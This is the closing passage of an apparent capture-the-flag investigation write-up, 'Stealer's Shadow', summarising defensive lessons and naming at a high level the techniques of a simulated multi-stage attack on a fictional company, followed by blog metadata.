  • Incident response plan must cover novel attacks
  • Threat hunting should be proactive
  • Regular security assessments needed

Technology:

  • Defense in depth is essential
  • Behavioral detection over signature-based
  • Network segmentation limits impact
  • MFA must be mandatory

Conclusion#

This investigation successfully reconstructed a sophisticated multi-stage cyber attack against The Etherians (Megacorp One). The threat actor demonstrated advanced capabilities including:

  • Social Engineering Mastery: Fake CAPTCHA technique
  • Technical Innovation: Blockchain payload delivery
  • Operational Security: LOLBin usage, encrypted exfiltration
  • Strategic Targeting: Cloud administrator credentials

Final Status:

  • All 7 investigation objectives achieved
  • Complete attack chain documented
  • All IoCs extracted and cataloged
  • Compromised credentials identified
  • Recommendations provided

Case Status: CLOSED - Complete Analysis


Report Prepared By: MR. Umair
Date: October 15, 2025
Classification: INTERNAL USE ONLY
Distribution: Security Team, Management, IT Department

Echo Response - Week 2 Stealer's Shadow - Investigation Report
https://ctf-writeups-webb.vercel.app/posts/events-season1-week2-stealers-shadow-investigation-report/
Author
Umair Aziz
Published at
2026-04-02
License
CC BY-NC-SA 4.0